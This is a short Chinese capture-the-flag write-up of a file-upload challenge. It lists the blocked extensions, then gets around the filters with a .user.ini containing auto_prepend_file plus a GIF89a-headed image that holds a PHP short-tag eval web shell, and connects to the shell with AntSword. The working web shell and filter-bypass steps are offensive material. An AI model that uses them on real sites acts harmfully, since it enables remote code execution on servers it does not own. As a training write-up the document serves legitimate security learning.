红框位置是上传后的提示
依次尝试上传,发现php,phtml.php3,php5,双写等都不行
.htaccess文件也不行
尝试.php. 绕过 (windows中会把后缀名最后的空格和. 省略,即上传.php.绕过后会变为.php)
加入图片头的php文件也不行
但是加入文件头的图片后缀文件(.png|.jpg|.gif)也不行,这就有点搞
但是user.ini文件可以上传,不过需要改一下content-Type类型,还要在文件中添加一个图片头
GIF89a
auto_prepend_file=1.jpg
然后我们只需要上传一个图片马就行了,结果一直上传不上
最后查看wp才知道,有以下几点需要绕过:
检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型
怪不得加入文件头的图片后缀文件(.png|.jpg|.gif)也不行,所以我们可以利用一个php短标签
使用短标签,可就是将<?php和?>标记替换为<?和?>。例如:
<?php echo "Hello, World!"; ?>可以用短标签替换为:<?= "Hello, World!"; ?>
1.jpg文件内容:
GIF89a
<?=eval($_POST['cxk']);?>
但是上传完成后,如果想要usr.ini文件发挥作用,我们需要先访问一个同目录下的php文件
这时,我们可以利用f12查看到index.php文件的上传路径和文件路径是一样的,所以我们可以直接利用蚁剑去包含
还有特别要注意的是,上传的文件会在一段时间后,自动删除掉,所以会造成连接不上的情况
所以尽快完成蚁剑的链接